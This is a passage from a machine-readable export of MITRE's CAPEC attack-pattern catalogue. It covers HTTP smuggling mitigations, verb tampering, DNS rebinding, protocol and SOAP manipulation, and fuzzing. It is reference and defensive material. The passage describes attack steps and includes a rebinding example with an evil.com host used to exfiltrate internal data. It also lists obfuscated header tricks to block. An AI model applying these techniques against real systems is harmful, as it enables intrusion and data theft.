receive, send, process, interpret, and parse a variety of HTTP messages and headers. + + + + + + + + + + + + #indSkillSkill15564 + Skill_15564 + + + + + + + + + + + + + + Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tools capable of monitoring HTTP messages, and crafting malicious HTTP messages and/or injecting malicious content into HTTP messages.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in responses processed by the two agents. This requires careful monitoring or a capable log analysis tool.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15573 + Consequence_15573 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15579 + Consequence_15579 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15585 + Consequence_15585 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: evaluate HTTP agents prior to deployment for parsing/interpretation discrepancies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: front-end HTTP agents notice ambiguous requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: back-end HTTP agents reject ambiguous requests and close the network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable reuse of back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use HTTP/2 for back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use the same web server software for front-end and back-end server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a Web Application Firewall (WAF) that has built-in mitigation to detect abnormal requests/responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Prioritize Transfer-Encoding header over Content-Length, whenever an HTTP message contains both.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disallow HTTP messages with both Transfer-Encoding and Content-Length or Double Content-Length Headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disallow Malformed/Invalid Transfer-Encoding Headers used in obfuscation, such as:&lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Headers with no space before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with extra spaces&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers beginning with trailing characters&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers providing a value “chunk” instead of “chunked” (the server normalizes this as chunked encoding)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with multiple spaces before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with quoted values (whether single or double quotations)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with CRLF characters before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Values with invalid characters&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Install latest vendor security patches available for both intermediary and back-end HTTP infrastructure (i.e. proxies and web servers)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that HTTP infrastructure in the chain or network path utilize a strict uniform parsing process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize intermediary HTTP infrastructure capable of filtering and/or sanitizing user-input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When using Undertow, a Java-based web server in Red Hat's Jboss Enterprise Application Platform version 7.0, the code responsible for parsing HTTP requests permitted invalid characters, that could allow the injection of data into HTTP responses from Undertow to clients when used in tandem with a proxy; allowing for web-cache poisoning, XSS, and confidentiality violation of sensitive information from other HTTP requests sent to Undertow. See also: CVE-2017-2666&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Mozilla Firefox and Thunderbird before 1.5.04, with various proxy servers, interpreted HTTP responses differently if HTTP response headers included a space between the header name and colon or if HTTP 1.1 headers were sent through a proxy configured with HTTP 1.0, allowing for HTTP Smuggling vulnerability. See also: CVE-2006-2786&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 74 + + + + + 436 + + + + + 444 + + + + + + + + + + + + #indTaxonomyMappingHTTPResponseSmuggling + HTTP Response Smuggling + + + + + + + + + + + + + + 27 + + + + + HTTP Response Smuggling + + + + + + + + + + + + #indReferenceReference15635 + Reference_15635 + + + + + + + + + REF-38 + + + + + + + + + + + + #indReferenceReference15636 + Reference_15636 + + + + + + + + + REF-117 + + + + + + + + + + + + #indReferenceReference15637 + Reference_15637 + + + + + + + + + REF-675 + + + + + + + + + + + + #indReferenceReference15638 + Reference_15638 + + + + + + + + + REF-676 + + + + + + + + + + + + #indReferenceReference15639 + Reference_15639 + + + + + + + + + REF-677 + + + + + + + + + + + + #indReferenceReference15640 + Reference_15640 + + + + + + + + + REF-678 + + + + + + + + + + + + #indNoteNote15643 + Note_15643 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Splitting – "the act of forcing a sender of (HTTP) messages to emit data stream consisting of more messages than the sender’s intension. The messages sent are 100% valid and RFC compliant" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote15644 + Note_15644 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling – "the act of forcing a sender of (HTTP) messages to emit data stream which may be parsed as a different set of messages (i.e. dislocated message boundaries) than the sender’s intention. This is done by virtue of forcing the sender to emit non-standard messages which can be interpreted in more than one way" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote15645 + Note_15645 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling is an evolution of previous HTTP Splitting techniques which are commonly remediated against.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory15647 + Content_History_15647 + + + + + + + + + + + + + + + + #indSubmissionSubmission15648 + Submission_15648 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15653 + Modification_15653 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification15659 + Modification_15659 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification15665 + Modification_15665 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification15671 + Modification_15671 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Status, Alternate_Terms, Consequences, Description, Example_Instances, Execution_Flow, Extended_Description, Indicators, Likelihood_Of_Attack, Mitigations, Notes, Prerequisites, References, Related_Attack_Patterns, Resources_Required, Skills_Required, Typical_Severity + + + + + + + + + + + + #indModificationModification15677 + Modification_15677 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Alternate_Terms, Extended_Description, Related_Weaknesses + + + + + + + + + + + + #CAPEC-274 + HTTP Verb Tampering + + + + + + + + + 274 + + + + + HTTP Verb Tampering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker modifies the HTTP Verb (e.g. GET, PUT, TRACE, etc.) in order to bypass access restrictions. Some web environments allow administrators to restrict access based on the HTTP Verb used with requests. However, attackers can often provide a different HTTP Verb, or even provide a random string as a verb in order to bypass these protections. This allows the attacker to access data that should otherwise be protected.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15689 + Related_Attack_Pattern_15689 + + + + + + + + + + + + + + 220 + + + + + 512 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted system must attempt to filter access based on the HTTP verb used in requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker requires a tool that allows them to manually control the HTTP verb used to send messages to the targeted server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that only legitimate HTTP verbs are allowed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Do not use HTTP verbs as factors in access decisions.</xhtml:div> + + + + + 302 + + + + + 654 + + + + + + + + + + + + #indReferenceReference15708 + Reference_15708 + + + + + + + + + REF-118 + + + + + + + + + + + + #indContentHistoryContentHistory15710 + Content_History_15710 + + + + + + + + + + + + + + + + #indSubmissionSubmission15711 + Submission_15711 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15716 + Modification_15716 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-275 + DNS Rebinding + + + + + + + + + 275 + + + + + DNS Rebinding + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary serves content whose IP address is resolved by a DNS server that the adversary controls. After initial contact by a web browser (or similar client), the adversary changes the IP address to which its name resolves, to an address within the target organization that is not publicly accessible. This allows the web browser to examine this internal address on behalf of the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Web browsers enforce security zones based on DNS names in order to prevent cross-zone disclosure of information. Because the same name resolves to both these IP addresses, browsers will place both IP addresses in the same security zone and allow information to flow between the addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise. If there is a trust relationship between the computer with the targeted browser and the internal machine the adversary identifies, additional attacks are possible. This attack differs from pharming attacks in that the adversary is the legitimate owner of the malicious DNS server and so does not need to compromise behavior of external DNS services.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15732 + Related_Attack_Pattern_15732 + + + + + + + + + + + + + + 194 + + + + + 515 + + + + + 403 + + + + + + + + + + + + #indAttackStepAttackStep15738 + Attack_Step_15738 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify potential DNS rebinding targets] An adversary publishes content on their own server with their own name and DNS server. Attract HTTP traffic and explore rebinding vulnerabilities in browsers, flash players of old version.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary uses Web advertisements to attract the victim to access adversary's DNS. Explore the versions of web browser or flash players in HTTP request.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15744 + Attack_Step_15744 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Establish initial target access to adversary DNS] The first time the target accesses the adversary's content, the adversary's name must be resolved to an IP address. The adversary's DNS server performs this resolution, providing a short Time-To-Live (TTL) in order to prevent the target from caching the value.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15749 + Attack_Step_15749 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Rebind DNS resolution to target address] The target makes a subsequent request to the adversary's content and the adversary's DNS server must again be queried, but this time the DNS server returns an address internal to the target's organization that would not be accessible from an outside source.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15754 + Attack_Step_15754 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine exploitability of DNS rebinding access to target address] The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the named internal addresses.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15759 + Attack_Step_15759 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Access &amp; exfiltrate data within the victim's security zone] The adversary can then use scripts in the content the target retrieved from the adversary in the original message to exfiltrate data from the internal addresses. This allows adversaries to discover sensitive information about the internal network of an enterprise.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary attempts to use victim's browser as an HTTP proxy to other resources inside the target's security zone. This allows two IP addresses placed in the same security zone.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversary tries to scan and access all internal hosts in victim's local network by sending multiple short-lived IP addresses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target browser must access content server from the adversary controlled DNS name. Web advertisements are often used for this purpose. The target browser must honor the TTL value returned by the adversary and re-resolve the adversary's DNS name after initial contact.</xhtml:div> + + + + + + + + + + + + #indSkillSkill15771 + Skill_15771 + + + + + + + + + + + + + + Setup DNS server and the adversary's web server. Write a malicious script to allow the victim to connect to the web server. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must serve some web content that a victim accesses initially. This content must include executable content that queries the adversary's DNS name (to provide the second DNS resolution) and then performs the follow-on attack against the internal system. The adversary also requires a customized DNS server that serves an IP address for their registered DNS name, but which resolves subsequent requests by a single client to addresses internal to that client's network.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15777 + Consequence_15777 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15781 + Consequence_15781 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15785 + Consequence_15785 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence15790 + Consequence_15790 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence15797 + Consequence_15797 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: IP Pinning causes browsers to record the IP address to which a given name resolves and continue using this address regardless of the TTL set in the DNS response. Unfortunately, this is incompatible with the design of some legitimate sites.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Reject HTTP request with a malicious Host header.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Employ DNS resolvers that prevent external names from resolving to internal addresses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary registers a domain name, such as www.evil.com with IP address 1.3.5.7, delegates it to their own DNS server (1.3.5.2), and uses phishing links or emails to get HTTP traffic. Instead of sending a normal TTL record, the DNS server sends a very short TTL record (for example, 1 second), preventing DNS response of entry[www.evil.com, 1.3.5.7] from being cached on victim's (192.168.1.10) browser. The adversary's server first responds to the victim with malicious script such as JavaScript, containing IP address (1.3.5.7) of the server. The adversary uses XMLHttpRequest (XHR) to send HTTP request or HTTPS request directly to the adversary's server and load response. The malicious script allows the adversary to rebind the host name to the IP address (192.168.1.2) of a target server that is behind the firewall. Then the server responds to the adversary's real target, which is an internal host IP (192.168.1.2) in the same domain of the victim (192.168.1.10). Because the same name resolves to both these IP addresses, browsers will place both IP addresses (1.3.5.7 and 192.168.1.2) in the same security zone and allow information to flow between the addresses. Further, the adversary can achieve scanning and accessing all internal hosts in the victim's local network (192.168.X.X) by sending multiple short-lived IP addresses.</xhtml:div> + + + + + 350 + + + + + + + + + + + + #indReferenceReference15815 + Reference_15815 + + + + + + + + + REF-119 + + + + + + + + + + + + #indReferenceReference15816 + Reference_15816 + + + + + + + + + REF-120 + + + + + DNS rebinding + + + + + + + + + + + + #indContentHistoryContentHistory15818 + Content_History_15818 + + + + + + + + + + + + + + + + #indSubmissionSubmission15819 + Submission_15819 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15824 + Modification_15824 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification15830 + Modification_15830 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Payload_Activation_Impact, Resources_Required + + + + + + + + + + + + #indModificationModification15836 + Modification_15836 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Attacker_Skills_or_Knowledge_Required, Description Summary, Examples-Instances, Payload, Related_Attack_Patterns, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification15842 + Modification_15842 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Consequences, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification15848 + Modification_15848 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification15854 + Modification_15854 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification15860 + Modification_15860 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification15866 + Modification_15866 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-276 + Inter-component Protocol Manipulation + + + + + + + + + 276 + + + + + Inter-component Protocol Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inter-component protocols are used to communicate between different software and hardware modules within a single computer. Common examples are: interrupt signals and data pipes. Subverting the protocol can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15878 + Related_Attack_Pattern_15878 + + + + + + + + + + + + + + 272 + + + + + 707 + + + + + + + + + + + + #indContentHistoryContentHistory15883 + Content_History_15883 + + + + + + + + + + + + + + + + #indSubmissionSubmission15884 + Submission_15884 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15889 + Modification_15889 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Related_Weaknesses + + + + + + + + + + + + #CAPEC-277 + Data Interchange Protocol Manipulation + + + + + + + + + 277 + + + + + Data Interchange Protocol Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Data Interchange Protocols are used to transmit structured data between entities. These protocols are often specific to a particular domain (B2B: purchase orders, invoices, transport logistics and waybills, medical records). They are often, but not always, XML-based. Subverting the protocol can allow an adversary to impersonate others, discover sensitive information, control the outcome of a session, or perform other attacks. This type of attack targets invalid assumptions that may be inherent in implementers of the protocol, incorrect implementations of the protocol, or vulnerabilities in the protocol itself.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15901 + Related_Attack_Pattern_15901 + + + + + + + + + + + + + + 272 + + + + + 707 + + + + + + + + + + + + #indContentHistoryContentHistory15906 + Content_History_15906 + + + + + + + + + + + + + + + + #indSubmissionSubmission15907 + Submission_15907 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15912 + Modification_15912 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary + + + + + + + + + + + + #indModificationModification15918 + Modification_15918 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-278 + Web Services Protocol Manipulation + + + + + + + + + 278 + + + + + Web Services Protocol Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary manipulates a web service related protocol to cause a web application or service to react differently than intended. This can either be performed through the manipulation of call parameters to include unexpected values, or by changing the called function to one that should normally be restricted or limited. By leveraging this pattern of attack, the adversary is able to gain access to data or resources normally restricted, or to cause the application or service to crash.</xhtml:div> + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15930 + Related_Attack_Pattern_15930 + + + + + + + + + + + + + + 272 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application or service must rely on web service protocols in such a way that malicious manipulation of them can alter functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to manipulate the communications to the targeted application or service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Range, size and value and consistency verification for any arguments supplied to applications and services from external sources and devise appropriate error response.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that function calls that should not be called by an unprivileged user are not accessible to them.</xhtml:div> + + + + + 707 + + + + + + + + + + + + #indContentHistoryContentHistory15945 + Content_History_15945 + + + + + + + + + + + + + + + + #indSubmissionSubmission15946 + Submission_15946 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification15951 + Modification_15951 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Prerequisites, Description Summary, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification15957 + Modification_15957 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-279 + SOAP Manipulation + + + + + + + + + 279 + + + + + SOAP Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Simple Object Access Protocol (SOAP) is used as a communication protocol between a client and server to invoke web services on the server. It is an XML-based protocol, and therefore suffers from many of the same shortcomings as other XML-based protocols. Adversaries can make use of these shortcomings and manipulate the content of SOAP paramters, leading to undesirable behavior on the server and allowing the adversary to carry out a number of further attacks.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15970 + Related_Attack_Pattern_15970 + + + + + + + + + + + + + + 278 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15971 + Related_Attack_Pattern_15971 + + + + + + + + + + + + + + 110 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern15972 + Related_Attack_Pattern_15972 + + + + + + + + + + + + + + 228 + + + + + + + + + + + + #indAttackStepAttackStep15975 + Attack_Step_15975 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find target application] The adversary needs to identify an application that uses SOAP as a communication protocol.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Observe HTTP traffic to an application and look for SOAP headers.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15981 + Attack_Step_15981 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Detect Incorrect SOAP Parameter Handling] The adversary tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send more data than would seem reasonable for a field and see if the server complains.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send nonsense data in a field that expects a certain subset, such as product names or sequence numbers, and see if the server complains.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Send XML metacharacters as data and see how the server responds.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep15989 + Attack_Step_15989 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Manipulate SOAP parameters] The adversary manipulates SOAP parameters in a way that causes undesirable behavior for the server. This can result in denial of service, information disclosure, arbitrary code exection, and more.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create a recursive XML payload that will take up all of the memory on the server when parsed, resulting in a denial of service. This is known as the billion laughs attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert XML metacharacters into data fields that could cause the server to go into an error state when parsing. This could lead to a denial of service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert a large amount of data into a field that should have a character limit, causing a buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application uses SOAP-based web service api.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application does not perform sufficient input validation to ensure that user-controllable data is safe for an XML parser.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted server either fails to verify that data in SOAP messages conforms to the appropriate XML schema, or it fails to correctly handle the complete range of data allowed by the schema.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence16004 + Consequence_16004 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16008 + Consequence_16008 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence16012 + Consequence_16012 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 707 + + + + + + + + + + + + #indReferenceReference16023 + Reference_16023 + + + + + + + + + REF-121 + + + + + + + + + + + + #indContentHistoryContentHistory16025 + Content_History_16025 + + + + + + + + + + + + + + + + #indSubmissionSubmission16026 + Submission_16026 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification16031 + Modification_16031 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description, Description Summary, Examples-Instances, References, Related_Weaknesses, Typical_Likelihood_of_Exploit, Typical_Severity + + + + + + + + + + + + #indModificationModification16037 + Modification_16037 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification16043 + Modification_16043 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification16049 + Modification_16049 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Description, Example_Instances, Execution_Flow + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName16055 + Previous_Entry_Name_16055 + + + + + + + + + 2018-07-31 + + + + + Soap Manipulation + + + + + + + + + + + + #CAPEC-28 + Fuzzing + + + + + + + + + 28 + + + + + Fuzzing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this attack pattern, the adversary leverages fuzzing to try to identify weaknesses in the system. Fuzzing is a software security and functionality testing method that feeds randomly constructed input to the system and looks for an indication that a failure in response to that input has occurred. Fuzzing treats the system as a black box and is totally free from any preconceptions or assumptions about the system. Fuzzing can help an attacker discover certain assumptions made about user input in the system. Fuzzing gives an attacker a quick way of potentially uncovering some of these assumptions despite not necessarily knowing anything about the internals of the system. These assumptions can then be turned against the system by specially crafting user input that may allow an attacker to achieve their goals.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indAttackStepAttackStep16063 + Attack_Step_16063 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Observe communication and inputs] The fuzzing attacker observes the target system looking for inputs and communications between modules, subsystems, or systems.</xhtml:div> + + + + + 